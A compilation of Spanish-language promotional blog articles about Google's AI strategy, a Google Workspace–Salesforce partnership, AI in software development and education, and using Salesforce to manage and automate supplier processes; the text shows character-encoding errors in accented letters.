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Google Workspace y Salesforce

Google est谩 centrado en hacer que la tecnolog铆a sea m谩s f谩cil de usar a trav茅s de la inteligencia artificial (IA) y en crear agentes que puedan entender e interactuar con sistemas inform谩ticos. Adem谩s, Google Cloud se asocia con otras 谩reas de Google, como Google DeepMind, para llevar sus capacidades de IA al mercado y ponerlas a disposici贸n de los clientes.

El enfoque de Google en IA

Google es una empresa l铆der en el campo de la inteligencia artificial (IA). Su enfoque en la IA se basa en varios principios clave que buscan hacer que la tecnolog铆a sea accesible y f谩cil de usar, crear agentes inteligentes que puedan entender e interactuar con sistemas inform谩ticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes.

Hacer que la tecnolog铆a sea m谩s accesible y f谩cil de usar

Google tiene como objetivo hacer que la tecnolog铆a de IA sea m谩s accesible para todos. Esto implica desarrollar herramientas y recursos que permitan a las personas utilizar y aprovechar el poder de la IA en sus vidas diarias. Google ha lanzado productos como Google Assistant, que permite a los usuarios interactuar con dispositivos y servicios utilizando comandos de voz y lenguaje natural. Tambi茅n ha desarrollado el lenguaje de programaci贸n TensorFlow, que facilita la creaci贸n y entrenamiento de modelos de IA.

Crear agentes que puedan entender e interactuar con sistemas inform谩ticos

Otro enfoque clave de Google en la IA es la creaci贸n de agentes inteligentes que puedan comprender y comunicarse de manera efectiva con sistemas inform谩ticos. Google ha desarrollado tecnolog铆as de procesamiento de lenguaje natural avanzadas que permiten a los agentes interactuar con los usuarios de una manera conversacional. Estos agentes pueden responder preguntas, proporcionar informaci贸n y realizar tareas complejas a trav茅s de interfaces de voz y texto.

Colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas

Google reconoce la importancia de la colaboraci贸n con otros actores del ecosistema de la IA para garantizar la compatibilidad y la interoperabilidad entre diferentes sistemas. La empresa ha adoptado est谩ndares abiertos y ha participado en iniciativas de c贸digo abierto para promover la colaboraci贸n y el intercambio de conocimientos en el campo de la IA. Adem谩s, Google ha desarrollado APIs y herramientas que permiten a los desarrolladores integrar la IA en sus propias aplicaciones y servicios de manera sencilla.

Desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios

Google comprende que diferentes usuarios tienen diferentes necesidades y roles, por lo que desarrolla productos de IA que se adaptan a estas diversas situaciones. Desde asistentes virtuales en smartphones hasta sistemas de IA para el hogar, Google ofrece una amplia gama de productos que aprovechan la IA para mejorar la vida de las personas. Estos productos est谩n dise帽ados teniendo en cuenta la simplicidad y la usabilidad, para que cualquier usuario pueda aprovecharlos al m谩ximo.

Mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes

Google se esfuerza por mejorar continuamente sus modelos de IA y personalizarlos para satisfacer las necesidades espec铆ficas de sus clientes. Utiliza t茅cnicas de aprendizaje autom谩tico para mejorar la precisi贸n y la eficiencia de sus modelos, y tambi茅n permite a los usuarios personalizar los modelos de IA seg煤n sus preferencias y requisitos. Esto garantiza que los productos y servicios de Google sean relevantes y 煤tiles para cada cliente individual.

En conclusi贸n, el enfoque de Google en la inteligencia artificial se centra en hacer que la tecnolog铆a de IA sea accesible y f谩cil de usar, crear agentes inteligentes que puedan comprender e interactuar con sistemas inform谩ticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes. A trav茅s de estos principios, Google busca impulsar el avance y el impacto positivo de la IA en nuestra sociedad.

La colaboraci贸n entre Google Workspace y Salesforce

La colaboraci贸n entre Google Workspace y Salesforce ofrece una combinaci贸n poderosa que impulsa la innovaci贸n y la colaboraci贸n en el entorno empresarial. Esta asociaci贸n estrat茅gica integra las capacidades de inteligencia artificial (IA) de Google con los productos de Salesforce, brindando una serie de beneficios que ayudan a las empresas a alcanzar la eficiencia, productividad y satisfacci贸n del cliente.

Oportunidades de innovaci贸n y colaboraci贸n

La colaboraci贸n entre Google Workspace y Salesforce brinda a las empresas numerosas oportunidades para innovar y colaborar de manera m谩s efectiva. Estas dos tecnolog铆as l铆deres se unen para ofrecer una experiencia empresarial m谩s integrada y eficiente.

Con la integraci贸n de Google Workspace y Salesforce, los equipos pueden crear y editar f谩cilmente documentos, hojas de c谩lculo y presentaciones, todo ello dentro del entorno Salesforce. Esto les permite colaborar en tiempo real, brindando una mayor transparencia y agilidad en el flujo de trabajo.

Adem谩s, las empresas pueden aprovechar las funcionalidades de IA de Google, como la traducci贸n autom谩tica y la generaci贸n de sugerencias inteligentes, para mejorar la eficiencia y la calidad del trabajo. Por ejemplo, los equipos pueden utilizar la IA de Google para traducir contenido en diferentes idiomas, lo cual facilita la colaboraci贸n en un entorno global.

Asimismo, la integraci贸n de Salesforce con Google Workspace permite una gesti贸n m谩s eficaz de los datos y la informaci贸n. Los usuarios pueden acceder y actualizar los datos desde una 煤nica plataforma, evitando la duplicaci贸n de esfuerzos y mejorando la precisi贸n y la consistencia de la informaci贸n.

Integraci贸n de las capacidades de IA de Google con los productos de Salesforce

Una de las principales ventajas de la colaboraci贸n entre Google Workspace y Salesforce es la integraci贸n de las capacidades de IA de Google con los productos de Salesforce. Esto permite a las empresas aprovechar el potencial de la IA para mejorar la toma de decisiones, automatizar tareas y ofrecer experiencias m谩s personalizadas a los clientes.

Con la integraci贸n de la IA de Google, las empresas pueden utilizar el aprendizaje autom谩tico para analizar grandes vol煤menes de datos y extraer informaci贸n valiosa. Esto les permite identificar patrones y tendencias, obtener conocimientos accionables y tomar decisiones m谩s informadas y estrat茅gicas.

Adem谩s, la IA de Google puede ayudar a automatizar tareas repetitivas y de baja valor a帽adido, lo cual libera tiempo para que los empleados se centren en actividades m谩s estrat茅gicas. Esto no solo aumenta la eficiencia operativa, sino que tambi茅n mejora la satisfacci贸n y el compromiso de los empleados.

Por otro lado, la integraci贸n de la IA de Google con los productos de Salesforce permite ofrecer experiencias m谩s personalizadas a los clientes. La IA puede analizar los datos del cliente y proporcionar recomendaciones y sugerencias relevantes en tiempo real, lo cual mejora la satisfacci贸n del cliente y fomenta la fidelidad a la marca.

Impulso en la eficiencia, productividad y satisfacci贸n del cliente

La colaboraci贸n entre Google Workspace y Salesforce tiene un impacto significativo en la eficiencia, productividad y satisfacci贸n del cliente. Al integrar estas dos potentes plataformas, las empresas pueden aprovechar una serie de beneficios que mejoran su rendimiento y competitividad.

En primer lugar, la colaboraci贸n integrada de Google Workspace y Salesforce impulsa la eficiencia operativa. Los equipos pueden colaborar de forma m谩s efectiva, trabajar en tiempo real y acceder a informaci贸n actualizada desde una 煤nica plataforma. Esto acelera los procesos de trabajo, reduce los tiempos de espera y optimiza los recursos de la empresa.

Adem谩s, la integraci贸n de las capacidades de IA de Google con los productos de Salesforce automatiza tareas y procesos, lo cual aumenta la productividad del equipo. La IA puede identificar oportunidades de automatizaci贸n, gestionar flujos de trabajo y ofrecer recomendaciones inteligentes, lo cual permite a los empleados ser m谩s eficientes y centrarse en actividades de mayor valor a帽adido.

Por 煤ltimo, la colaboraci贸n entre Google Workspace y Salesforce mejora la satisfacci贸n del cliente al ofrecer experiencias m谩s personalizadas y eficientes. Mediante la integraci贸n de la IA, las empresas pueden analizar los datos del cliente, entender sus necesidades y ofrecer recomendaciones adaptadas a sus preferencias. Esto fortalece la relaci贸n con el cliente, aumenta la fidelidad a la marca y mejora la reputaci贸n empresarial.

La colaboraci贸n entre Google Workspace y Salesforce establece una asociaci贸n estrat茅gica que brinda numerosos beneficios a las empresas. La integraci贸n de estas dos tecnolog铆as l铆deres impulsa la innovaci贸n y la colaboraci贸n, integra las capacidades de IA de Google con los productos de Salesforce, y aumenta la eficiencia, productividad y satisfacci贸n del cliente.

Esta colaboraci贸n ofrece un entorno empresarial m谩s integrado y eficiente, donde los equipos pueden colaborar en tiempo real, utilizar la IA para mejorar la toma de decisiones y automatizar tareas, y ofrecer experiencias m谩s personalizadas a los clientes. Esto posiciona a las empresas en una mejor posici贸n competitiva y les permite prosperar en un entorno empresarial en constante evoluci贸n.

El futuro del desarrollo de software y la IA

La Inteligencia Artificial (IA) est谩 revolucionando la forma en que desarrollamos software. Su capacidad para aprender, adaptarse y automatizar tareas est谩 transformando r谩pidamente la industria del desarrollo de software, optimizando el c贸digo y mejorando la eficiencia y la productividad de los equipos de desarrollo.

Uno de los principales beneficios de la IA en el desarrollo de software es su capacidad para optimizar el c贸digo de forma autom谩tica. Mediante el uso de algoritmos avanzados, la IA puede analizar grandes cantidades de c贸digo y encontrar formas de mejorarlo, eliminando redundancias, mejorando la legibilidad y reduciendo los tiempos de ejecuci贸n. Esto permite a los desarrolladores ahorrar tiempo y esfuerzo, centr谩ndose en tareas m谩s creativas y de mayor valor.

Otro aspecto clave de la IA en el desarrollo de software es su capacidad para automatizar tareas. La IA puede tomar decisiones y ejecutar acciones basadas en an谩lisis de datos y patrones, lo que significa que puede realizar tareas repetitivas y tediosas de forma r谩pida y precisa. Esto libera a los desarrolladores de la carga de trabajo abrumadora y les permite centrarse en tareas m谩s desafiantes y estrat茅gicas.

Adem谩s de optimizar el c贸digo y automatizar tareas, la IA tambi茅n facilitar谩 la migraci贸n y modernizaci贸n de sistemas heredados. Muchas empresas y organizaciones a煤n utilizan sistemas heredados que son dif铆ciles de mantener y actualizar. La IA puede analizar estos sistemas, identificar 谩reas problem谩ticas y proporcionar recomendaciones para su modernizaci贸n. Esto permitir谩 a las empresas mantenerse al d铆a con las 煤ltimas tecnolog铆as y evitar problemas de obsolescencia.

Es importante destacar que Google y Salesforce est谩n comprometidos con abordar los riesgos asociados con la IA. Dado que la IA puede tener implicaciones 茅ticas y de privacidad, estas empresas implementan controles de responsabilidad para garantizar un uso 茅tico y responsable de la IA. Esto incluye la protecci贸n de datos sensibles, la transparencia en los algoritmos utilizados y la participaci贸n de expertos en 茅tica en el desarrollo de sistemas de IA.

En conclusi贸n, el futuro del desarrollo de software est谩 estrechamente vinculado con la IA. La capacidad de la IA para optimizar el c贸digo, automatizar tareas y facilitar la migraci贸n de sistemas heredados brinda numerosas oportunidades para mejorar la eficiencia y la productividad en el desarrollo de software. Sin embargo, tambi茅n es crucial abordar los riesgos asociados con la IA y garantizar un uso 茅tico y responsable de esta tecnolog铆a. Al hacerlo, podemos aprovechar al m谩ximo el potencial de la IA en el desarrollo de software y beneficiarnos de sus numerosas ventajas.

La educaci贸n y la IA

La inteligencia artificial (IA) se ha convertido en una tecnolog铆a transformadora en diversos campos, y la educaci贸n no es una excepci贸n. En lugar de temer la IA, debemos adoptarla como una herramienta de apoyo para el aprendizaje en las aulas. Sin embargo, es fundamental tener en cuenta ciertos aspectos clave para garantizar una implementaci贸n efectiva y 茅tica de la IA en la educaci贸n.

Adoptar la IA como una herramienta de apoyo para el aprendizaje

La IA puede ser vista como una aliada valiosa en el proceso de ense帽anza-aprendizaje, ya que puede proporcionar recursos y herramientas que permiten a los estudiantes acceder a informaci贸n y conocimientos de manera m谩s eficiente. Por ejemplo, los chatbots educativos pueden brindar respuestas instant谩neas a preguntas comunes, lo que ayuda a los estudiantes a resolver sus dudas de manera r谩pida y aut贸noma.

Sin embargo, es importante que los educadores proporcionen orientaci贸n y supervisi贸n adecuadas para garantizar que los estudiantes utilicen la IA de manera efectiva y que comprendan sus limitaciones. La IA no debe reemplazar al maestro, sino complementar su labor y enriquecer la experiencia educativa.

Brindar igualdad de acceso a recursos y oportunidades

La implementaci贸n de la IA en la educaci贸n tiene el potencial de eliminar barreras y brindar igualdad de acceso a recursos y oportunidades para todos los estudiantes, independientemente de su ubicaci贸n geogr谩fica o sus circunstancias socioecon贸micas. Por ejemplo, la IA puede ofrecer contenido educativo personalizado y adaptado a las necesidades individuales de los estudiantes, lo que permite un aprendizaje m谩s eficiente y efectivo.

Es fundamental que los gobiernos y las instituciones educativas inviertan en infraestructura tecnol贸gica y en programas de capacitaci贸n para los docentes, de modo que todos los estudiantes tengan la oportunidad de beneficiarse de las ventajas de la IA en el 谩mbito educativo. De esta manera, se puede reducir la brecha educativa y promover la igualdad de oportunidades.

Preparar a la pr贸xima generaci贸n para adaptarse y utilizar la IA de manera efectiva

A medida que la IA se vuelve m谩s omnipresente en la sociedad, es fundamental preparar a los estudiantes para adaptarse y utilizar esta tecnolog铆a de manera efectiva. Los programas educativos deben incluir contenidos relacionados con la inteligencia artificial, en los que se ense帽e a los estudiantes sobre los conceptos b谩sicos de la IA y c贸mo aplicarla de manera 茅tica.

Adem谩s, es importante fomentar habilidades como el pensamiento cr铆tico, el razonamiento l贸gico y la resoluci贸n de problemas, para que los estudiantes puedan comprender y evaluar de manera efectiva los resultados y las recomendaciones proporcionadas por los sistemas de IA. Tambi茅n se les debe fomentar la capacidad de adaptaci贸n y la idea de que la tecnolog铆a evoluciona constantemente, por lo que siempre deben estar dispuestos a aprender y actualizarse.

No negarles el acceso ni descuidar las implicaciones 茅ticas de la IA

Si bien la IA ofrece muchas oportunidades en el 谩mbito educativo, no debemos negarles el acceso a aquellos estudiantes que no tienen acceso a la tecnolog铆a o que prefieren aprender de manera tradicional. Algunas personas pueden tener reservas o preferir m茅todos de ense帽anza m谩s convencionales, y es importante respetar su elecci贸n.

Adem谩s, no debemos descuidar las implicaciones 茅ticas de la IA en la educaci贸n. Es necesario establecer pol铆ticas claras para garantizar la privacidad y protecci贸n de los datos de los estudiantes, as铆 como evitar la discriminaci贸n y los sesgos algor铆tmicos. Los educadores y las instituciones educativas deben tomar la responsabilidad de utilizar la IA de manera 茅tica y transparente, en beneficio de los estudiantes.

TL;DR

La IA en la educaci贸n debe ser utilizada como una herramienta de apoyo para el aprendizaje, brindando igualdad de acceso a recursos y oportunidades, y preparando a los estudiantes para adaptarse y utilizar la IA de manera efectiva. Sin embargo, es importante no negarles el acceso a aquellos que prefieren m茅todos de ense帽anza m谩s tradicionales y asegurarse de considerar las implicaciones 茅ticas de la IA en la educaci贸n.

Optimiza tu Gesti贸n de Proveedores con Salesforce.com: Descubre c贸mo hacerlo

Introducci贸n

La gesti贸n efectiva de proveedores es de vital importancia para el 茅xito de cualquier empresa. Los proveedores son una parte fundamental de la cadena de suministro y su rendimiento puede tener un impacto significativo en la calidad y eficiencia de los productos y servicios que ofrece una empresa. Es por eso que contar con un sistema eficiente para gestionar a los proveedores es crucial.

Salesforce.com es una soluci贸n l铆der en el mercado que puede ayudar a las empresas a optimizar su gesti贸n de proveedores. Salesforce.com es una plataforma en la nube que ofrece una amplia gama de herramientas y funcionalidades para gestionar todas las etapas del proceso de compra, desde la selecci贸n y evaluaci贸n de proveedores hasta la gesti贸n de contratos y acuerdos. En este art铆culo, exploraremos c贸mo Salesforce.com puede ayudar a las empresas a mejorar su gesti贸n de proveedores y los beneficios que esto puede traer.

驴Qu茅 es Salesforce.com y c贸mo puede ayudar a tu empresa en la gesti贸n de proveedores?

Salesforce.com es una plataforma en la nube que ofrece una amplia gama de herramientas y funcionalidades para gestionar todas las etapas del proceso de compra. Con Salesforce.com, las empresas pueden centralizar toda la informaci贸n relacionada con sus proveedores en un solo lugar, lo que facilita el acceso y la colaboraci贸n entre los diferentes departamentos.

Una de las caracter铆sticas m谩s destacadas de Salesforce.com es su capacidad para automatizar procesos. Con Salesforce.com, las empresas pueden automatizar tareas como la generaci贸n de 贸rdenes de compra, el seguimiento de entregas y pagos, lo que ayuda a agilizar el proceso de compra y reducir errores.

Adem谩s, Salesforce.com ofrece herramientas anal铆ticas avanzadas que permiten a las empresas evaluar el rendimiento de sus proveedores y tomar decisiones basadas en datos. Esto ayuda a las empresas a identificar proveedores de alto rendimiento y establecer relaciones m谩s s贸lidas con ellos.

Paso a paso: c贸mo implementar Salesforce.com en tu empresa para optimizar la gesti贸n de proveedores

Implementar Salesforce.com en tu empresa para optimizar la gesti贸n de proveedores puede parecer un proceso complicado, pero con la gu铆a adecuada, puede ser bastante sencillo. Aqu铆 hay un paso a paso para ayudarte a implementar Salesforce.com en tu empresa:

1. Definir los objetivos: Antes de comenzar la implementaci贸n, es importante tener claros los objetivos que deseas lograr con Salesforce.com. 驴Quieres mejorar la eficiencia del proceso de compra? 驴Quieres mejorar la comunicaci贸n con tus proveedores? Definir estos objetivos te ayudar谩 a enfocar tus esfuerzos y asegurarte de que est谩s aprovechando al m谩ximo la plataforma.

2. Configurar la plataforma: Una vez que hayas definido tus objetivos, es hora de configurar la plataforma. Esto incluye la creaci贸n de campos personalizados, la configuraci贸n de flujos de trabajo y la personalizaci贸n de los paneles de control para adaptarlos a tus necesidades espec铆ficas.

3. Importar datos: El siguiente paso es importar los datos existentes relacionados con tus proveedores a Salesforce.com. Esto incluye informaci贸n como nombres de proveedores, direcciones, n煤meros de contacto y detalles de contratos.

4. Capacitar al personal: Una vez que hayas configurado la plataforma y hayas importado los datos, es importante capacitar a tu personal sobre c贸mo utilizar Salesforce.com para gestionar proveedores. Esto incluye ense帽arles c贸mo generar 贸rdenes de compra, realizar seguimiento de entregas y pagos, y utilizar las herramientas anal铆ticas para evaluar el rendimiento de los proveedores.

5. Monitorear y ajustar: Una vez que hayas implementado Salesforce.com, es importante monitorear su rendimiento y realizar ajustes seg煤n sea necesario. Esto puede incluir la adici贸n de nuevos campos personalizados, la modificaci贸n de flujos de trabajo o la actualizaci贸n de paneles de control para adaptarse a los cambios en tus necesidades comerciales.

Beneficios de utilizar Salesforce.com en la gesti贸n de proveedores: ahorro de tiempo y dinero

El uso de Salesforce.com en la gesti贸n de proveedores puede proporcionar una serie de beneficios significativos para las empresas. Uno de los beneficios m谩s destacados es el ahorro de tiempo y dinero. Con Salesforce.com, las empresas pueden automatizar tareas como la generaci贸n de 贸rdenes de compra, el seguimiento de entregas y pagos, lo que ayuda a agilizar el proceso de compra y reducir errores.

Adem谩s, Salesforce.com ofrece herramientas anal铆ticas avanzadas que permiten a las empresas evaluar el rendimiento de sus proveedores y tomar decisiones basadas en datos. Esto ayuda a las empresas a identificar proveedores de alto rendimiento y establecer relaciones m谩s s贸lidas con ellos.

Otro beneficio importante es la mejora en la comunicaci贸n con los proveedores. Con Salesforce.com, las empresas pueden centralizar toda la informaci贸n relacionada con sus proveedores en un solo lugar, lo que facilita el acceso y la colaboraci贸n entre los diferentes departamentos. Esto ayuda a mejorar la comunicaci贸n con los proveedores y a construir relaciones m谩s s贸lidas.

驴C贸mo automatizar procesos de compra y pagos con Salesforce.com?

Una de las caracter铆sticas m谩s destacadas de Salesforce.com es su capacidad para automatizar procesos. Con Salesforce.com, las empresas pueden automatizar tareas como la generaci贸n de 贸rdenes de compra, el seguimiento de entregas y pagos, lo que ayuda a agilizar el proceso de compra y reducir errores.

La automatizaci贸n de procesos de compra y pagos con Salesforce.com puede proporcionar una serie de beneficios significativos para las empresas. En primer lugar, ayuda a agilizar el proceso de compra, lo que significa que las empresas pueden recibir los productos y servicios que necesitan m谩s r谩pidamente. Esto puede ayudar a mejorar la eficiencia operativa y reducir los costos.

Adem谩s, la automatizaci贸n de procesos de compra y pagos con Salesforce.com tambi茅n puede ayudar a reducir errores. Al eliminar la necesidad de ingresar manualmente datos en diferentes sistemas, se reduce la posibilidad de cometer errores. Esto puede ayudar a mejorar la precisi贸n y la calidad de los datos relacionados con los proveedores.

驴C贸mo mejorar la comunicaci贸n con tus proveedores a trav茅s de Salesforce.com?

La comunicaci贸n efectiva con los proveedores es fundamental para establecer relaciones s贸lidas y garantizar un flujo constante de productos y servicios. Salesforce.com puede ayudar a mejorar la comunicaci贸n con los proveedores al centralizar toda la informaci贸n relacionada con ellos en un solo lugar.

Con Salesforce.com, las empresas pueden almacenar informaci贸n como nombres de proveedores, direcciones, n煤meros de contacto y detalles de contratos en un solo lugar accesible para todos los departamentos relevantes. Esto facilita el acceso a la informaci贸n y mejora la colaboraci贸n entre los diferentes departamentos.

Adem谩s, Salesforce.com tambi茅n ofrece herramientas de comunicaci贸n integradas, como correo electr贸nico y chat, que permiten a las empresas comunicarse de manera m谩s eficiente con sus proveedores. Esto puede ayudar a resolver problemas y responder preguntas de manera m谩s r谩pida y efectiva.

驴C贸mo realizar un seguimiento eficaz de los pedidos y entregas con Salesforce.com?

Realizar un seguimiento eficaz de los pedidos y entregas es fundamental para garantizar que los productos y servicios se entreguen a tiempo. Salesforce.com puede ayudar a las empresas a realizar un seguimiento eficaz de los pedidos y entregas al proporcionar herramientas de seguimiento integradas.

Con Salesforce.com, las empresas pueden registrar y realizar un seguimiento de todos los pedidos realizados a sus proveedores. Esto incluye informaci贸n como fechas de pedido, fechas de entrega esperadas y detalles de contacto del proveedor. Al tener toda esta informaci贸n en un solo lugar, las empresas pueden realizar un seguimiento m谩s efectivo de los pedidos y asegurarse de que se entreguen a tiempo.

Adem谩s, Salesforce.com tambi茅n ofrece herramientas de notificaci贸n integradas que pueden enviar alertas autom谩ticas cuando se produzcan cambios en el estado de un pedido o entrega. Esto ayuda a las empresas a estar al tanto de cualquier problema o retraso y tomar medidas correctivas r谩pidamente.

驴C贸mo analizar y evaluar el rendimiento de tus proveedores con Salesforce.com?

Analizar y evaluar el rendimiento de los proveedores es fundamental para tomar decisiones informadas sobre qu茅 proveedores son los m谩s adecuados para tu empresa. Salesforce.com puede ayudar a las empresas a analizar y evaluar el rendimiento de sus proveedores al proporcionar herramientas anal铆ticas avanzadas.

Con Salesforce.com, las empresas pueden recopilar datos sobre el rendimiento de sus proveedores, como tiempos de entrega, calidad de los productos y servicios, y cumplimiento de los plazos de pago. Estos datos se pueden analizar utilizando herramientas anal铆ticas avanzadas para identificar tendencias y patrones.

Adem谩s, Salesforce.com tambi茅n ofrece herramientas de informes y paneles de control que permiten a las empresas visualizar y compartir los resultados del an谩lisis con otros departamentos. Esto ayuda a mejorar la colaboraci贸n y la toma de decisiones basada en datos.

驴C贸mo gestionar contratos y acuerdos con proveedores con Salesforce.com?

Gestionar contratos y acuerdos con proveedores puede ser un proceso complicado y propenso a errores. Salesforce.com puede ayudar a las empresas a gestionar contratos y acuerdos con proveedores al proporcionar herramientas de gesti贸n de contratos integradas.

Con Salesforce.com, las empresas pueden almacenar todos los contratos y acuerdos relacionados con sus proveedores en un solo lugar accesible para todos los departamentos relevantes. Esto facilita el acceso a la informaci贸n y mejora la colaboraci贸n entre los diferentes departamentos.

Adem谩s, Salesforce.com tambi茅n ofrece herramientas de seguimiento de contratos que permiten a las empresas realizar un seguimiento de las fechas de vencimiento, las renovaciones y las modificaciones de los contratos. Esto ayuda a garantizar que los contratos se cumplan y que se realicen las renovaciones o modificaciones necesarias a tiempo.

驴C贸mo integrar Salesforce.com con otras herramientas de gesti贸n empresarial?

Integrar Salesforce.com con otras herramientas de gesti贸n empresarial puede proporcionar una serie de beneficios significativos para las empresas. Por ejemplo, la integraci贸n con un sistema ERP puede ayudar a sincronizar datos relacionados con proveedores, como 贸rdenes de compra y facturas, lo que ayuda a mejorar la eficiencia y reducir errores.

Salesforce.com tambi茅n se puede integrar con herramientas de gesti贸n de inventario, lo que permite a las empresas tener una visi贸n completa de su cadena de suministro y tomar decisiones informadas sobre qu茅 productos y servicios deben pedir a sus proveedores.

Adem谩s, la integraci贸n con herramientas de gesti贸n financiera puede ayudar a las empresas a realizar un seguimiento de los pagos a los proveedores y garantizar que se realicen a tiempo. Esto puede ayudar a mejorar la relaci贸n con los proveedores y evitar problemas de flujo de efectivo.

Casos de 茅xito: empresas que han optimizado su gesti贸n de proveedores gracias a Salesforce.com

Muchas empresas han logrado optimizar su gesti贸n de proveedores gracias a Salesforce.com. Por ejemplo, una empresa de fabricaci贸n implement贸 Salesforce.com para gestionar sus proveedores y logr贸 reducir el tiempo necesario para generar 贸rdenes de compra en un 50%. Esto ayud贸 a mejorar la eficiencia del proceso de compra y reducir los costos.

Otra empresa de servicios profesionales implement贸 Salesforce.com para gestionar sus contratos y acuerdos con proveedores. Como resultado, lograron reducir el tiempo necesario para renovar contratos en un 75% y mejorar la precisi贸n de los datos relacionados con los proveedores.

Estos son solo algunos ejemplos de c贸mo las empresas pueden beneficiarse al implementar Salesforce.com para gestionar sus proveedores. Los beneficios incluyen ahorro de tiempo y dinero, mejora en la comunicaci贸n con los proveedores, seguimiento eficaz de pedidos y entregas, an谩lisis y evaluaci贸n del rendimiento de los proveedores, gesti贸n eficaz de contratos y acuerdos, y la capacidad de integrar Salesforce.com con otras herramientas de gesti贸n empresarial.

Conclusi贸n

En resumen, la gesti贸n efectiva de proveedores es fundamental para el 茅xito de cualquier empresa. Salesforce.com ofrece una soluci贸n completa para gestionar proveedores, desde la selecci贸n y evaluaci贸n hasta la gesti贸n de contratos y acuerdos. Con Salesforce.com, las empresas pueden ahorrar tiempo y dinero, mejorar la comunicaci贸n con los proveedores, realizar un seguimiento eficaz de los pedidos y entregas, analizar y evaluar el rendimiento de los proveedores, gestionar contratos y acuerdos, e integrar Salesforce.com con otras herramientas de gesti贸n empresarial.

Si est谩s buscando optimizar tu gesti贸n de proveedores, te recomendamos considerar la implementaci贸n de Salesforce.com. Con sus numerosas funcionalidades y beneficios, Salesforce.com puede ayudarte a mejorar la eficiencia y la calidad de tus procesos de compra y establecer relaciones m谩s s贸lidas con tus proveedores. No pierdas m谩s tiempo y comienza a aprovechar todas las ventajas que Salesforce.com puede ofrecer a tu empresa.
Si est谩s buscando mejorar la gesti贸n de proveedores en Salesforce.com, te recomendamos leer nuestro art铆culo sobre c贸mo impulsar el crecimiento con soluciones de comercio r谩pido en AppExchange. En este art铆culo, descubrir谩s c贸mo aprovechar al m谩ximo las herramientas disponibles en la plataforma para optimizar tus procesos de gesti贸n de proveedores y potenciar el crecimiento de tu negocio. 隆No te lo pierdas! Leer m谩s

Optimiza tu negocio con la Automatizaci贸n de Procesos de Proveedores

Introducci贸n

La automatizaci贸n de procesos de proveedores es un concepto clave en el mundo empresarial actual. Se refiere a la implementaci贸n de tecnolog铆a y sistemas para agilizar y optimizar los procesos relacionados con los proveedores de una empresa. Esto incluye desde la gesti贸n de pedidos y facturas, hasta la comunicaci贸n y colaboraci贸n con los proveedores.

La importancia de la automatizaci贸n de procesos de proveedores radica en su capacidad para mejorar la eficiencia operativa, reducir costos y minimizar errores humanos. Al automatizar estos procesos, las empresas pueden agilizar sus operaciones, ahorrar tiempo y recursos, y mejorar la calidad de los productos y servicios que ofrecen.

驴Qu茅 es la Automatizaci贸n de Procesos de Proveedores y c贸mo puede beneficiar a tu negocio?

La automatizaci贸n de procesos de proveedores se refiere a la implementaci贸n de tecnolog铆a y sistemas para agilizar y optimizar los procesos relacionados con los proveedores de una empresa. Esto incluye desde la gesti贸n de pedidos y facturas, hasta la comunicaci贸n y colaboraci贸n con los proveedores.

Los beneficios de la automatizaci贸n de procesos de proveedores son numerosos. En primer lugar, permite a las empresas agilizar sus operaciones al eliminar tareas manuales y repetitivas. Esto no solo ahorra tiempo, sino que tambi茅n reduce el riesgo de errores humanos.

Adem谩s, la automatizaci贸n de procesos de proveedores puede ayudar a reducir costos al eliminar la necesidad de contratar personal adicional para realizar tareas administrativas. Al automatizar estos procesos, las empresas pueden asignar recursos a tareas m谩s estrat茅gicas y centrarse en su crecimiento y desarrollo.

Los riesgos de no automatizar los procesos de proveedores en tu empresa.

No automatizar los procesos de proveedores en una empresa puede tener graves consecuencias. En primer lugar, puede llevar a una falta de eficiencia y productividad. Los procesos manuales son propensos a errores y retrasos, lo que puede afectar negativamente a la cadena de suministro y a la satisfacci贸n del cliente.

Adem谩s, la falta de automatizaci贸n puede resultar en un aumento de los costos operativos. Los procesos manuales requieren m谩s tiempo y recursos, lo que puede llevar a un aumento de los costos laborales y administrativos. Esto puede afectar negativamente a la rentabilidad de la empresa.

Otro riesgo de no automatizar los procesos de proveedores es la falta de visibilidad y control sobre las operaciones. Sin una soluci贸n automatizada, es dif铆cil rastrear y gestionar eficientemente los pedidos, facturas y comunicaciones con los proveedores. Esto puede llevar a problemas como pagos duplicados, retrasos en la entrega y falta de cumplimiento de los acuerdos contractuales.

C贸mo la automatizaci贸n de procesos de proveedores puede mejorar la eficiencia y reducir costos.

La automatizaci贸n de procesos de proveedores puede mejorar significativamente la eficiencia operativa de una empresa. Al eliminar tareas manuales y repetitivas, se reduce el tiempo necesario para completar los procesos relacionados con los proveedores. Esto permite a los empleados dedicar m谩s tiempo a tareas estrat茅gicas y de mayor valor a帽adido.

Adem谩s, la automatizaci贸n de procesos de proveedores puede ayudar a reducir costos. Al eliminar la necesidad de personal adicional para realizar tareas administrativas, se reducen los costos laborales. Adem谩s, al agilizar los procesos, se reducen los costos asociados con errores y retrasos.

La automatizaci贸n de procesos de proveedores tambi茅n puede mejorar la precisi贸n y la calidad de los datos. Al eliminar la entrada manual de datos, se reducen los errores humanos y se mejora la calidad de la informaci贸n. Esto puede tener un impacto positivo en la toma de decisiones y en la eficiencia operativa de la empresa.

驴C贸mo elegir la soluci贸n de automatizaci贸n de procesos de proveedores adecuada para tu negocio?

Al elegir una soluci贸n de automatizaci贸n de procesos de proveedores, es importante considerar varios factores. En primer lugar, es importante evaluar las necesidades espec铆ficas de tu empresa. 驴Qu茅 procesos relacionados con los proveedores necesitan ser automatizados? 驴Qu茅 funcionalidades son necesarias para mejorar la eficiencia y reducir costos?

Adem谩s, es importante considerar la escalabilidad de la soluci贸n. 驴La soluci贸n puede crecer y adaptarse a medida que tu empresa crece? 驴Puede integrarse con otros sistemas empresariales? La capacidad de escalar y adaptar la soluci贸n a medida que las necesidades de tu empresa evolucionan es crucial para garantizar una inversi贸n a largo plazo.

